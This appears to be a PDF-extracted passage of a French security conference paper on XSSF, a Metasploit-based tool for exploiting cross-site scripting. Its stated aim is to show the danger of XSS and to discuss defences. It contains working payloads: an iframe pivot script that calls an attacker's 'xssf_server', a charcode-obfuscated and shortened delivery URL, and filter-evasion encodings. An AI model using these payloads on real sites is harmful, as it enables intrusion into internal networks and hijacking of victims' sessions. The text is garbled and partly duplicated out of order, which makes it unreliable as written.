Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 20: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

